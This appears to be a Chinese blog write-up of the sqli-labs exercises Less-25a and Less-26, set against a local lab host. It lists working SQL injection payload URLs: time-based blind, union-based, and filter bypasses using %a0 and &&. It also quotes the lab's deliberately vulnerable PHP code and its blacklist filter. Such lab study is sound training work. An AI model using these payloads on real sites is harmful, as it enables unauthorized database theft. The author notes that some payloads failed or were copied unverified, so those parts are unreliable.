Less-25a Trick with OR & AND Blind (過濾了or和and的盲注)

那麼盲注怎麼判斷過濾了and跟or呢,直接在前面新增or或and

 

不同於25關的是sql語句中對於id,沒有''的包含,同時沒有輸出錯誤項,報錯注入不能用。其餘基本上和25示例沒有差別。

 

此處採取兩種方式:延時注入和聯合注入。

http://10.10.10.139/sql/Less-25a/?id=-1%20||%20if(length(database())=8,1,sleep(5))#
http://10.10.10.139/sql/Less-25a/?id=-1%20union%20select%201,database(),3#

 

Less-26(failed) Trick with comments and space (過濾了註釋和空格的注入)

 評論欺騙

測試半天,沒什麼進展,查一下php檔案

// take the variables 
if(isset($_GET['id']))
{
	$id=$_GET['id'];
	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'ID:'.$id."\n");
	fclose($fp);

	//fiddling with comments
	$id= blacklist($id);
	//echo "<br>";
	//echo $id;
	//echo "<br>";
	$hint=$id;

// connectivity 
	$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);
	if($row)
	{
	  	echo "<font size='5' color= '#99FF00'>";	
	  	echo 'Your Login name:'. $row['username'];
	  	echo "<br>";
	  	echo 'Your Password:' .$row['password'];
	  	echo "</font>";
  	}
	else 
	{
		echo '<font color= "#FFFF00">';
		print_r(mysql_error());
		echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}




function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}

可以看到function blacklist($id) 來了個過濾全家桶,$id 周圍是單引號,過濾了 or,and , /* , – , # , 空格 , /

*********************************************************************************************************************************

到這裡就出現問題了,從本題到28a,都注入失敗,估計是下面這種情況,難受的是我linux虛擬機器出問題了,現在還沒搞好,這幾天之內會回來搞定的。

注意:本關可能有的朋友在windows下無法使用一些特殊的字元代替空格,此處是因為apache的解析的問題,這裡請更換到Linux平臺下。

 

*************************************************************************************************************************************

 

 

?id='%a0uNion%a0sElect(1),(database()),(3) or (1)='1  爆資料庫
?id='%a0uNion%a0sElect(1),(group_concat(table_name)),(3)%a0from%a0information_schema.tables%a0where%a0table_schema='security'%26%26%a0%271%27=%271  爆表
?id='%a0uNion%a0sElect(1),group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0%26%26%a0table_name='emails'%26%26%a0%271%27=%271 爆列
?id='%a0uNion%a0sElect(1),group_concat(email_id),3%a0from%a0emails%a0uniOn%a0seLect (1),2,'3  提取資料

 這題做不下去了


/*26-28轉https://blog.csdn.net/nzjdsds/article/details/77430073#t9*/

  • /*以下26-28未經驗證*/

less 26  Trick with comments and space (過濾了註釋和空格的注入)

確認過濾了#

http://10.10.10.139/sql/Less-26/?id=%231

確認過濾了or

http://10.10.10.139/sql/Less-26/?id=or1

確認過濾多行註釋符

http://10.10.10.139/sql/Less-26/?id=/*1

確認過濾了單行註釋

http://localhost/sqli-labs/Less-26/?id=--1 

確認過濾了斜槓

http://10.10.10.139/sql/Less-26/?id=/1

確認過濾了反斜槓

http://10.10.10.139/sql/Less-26/?id=\

確認過濾了空格,報錯注入才行哦,這個判斷

http://10.10.10.139/sql/Less-26/?id=1' ' '


原始碼部分

$id= preg_replace('/or/i',"", $id);

$id= preg_replace('/and/i',"", $id);

$id= preg_replace('/[\/\*]/',"", $id);

$id= preg_replace('/[--]/',"", $id);

$id= preg_replace('/[#]/',"", $id);

$id= preg_replace('/[\s]/',"", $id);

$id= preg_replace('/[\/\\\\]/',"", $id);

 

下面看看繞過吧,看著都難繞,這次就提取完整的資料吧,

我們常見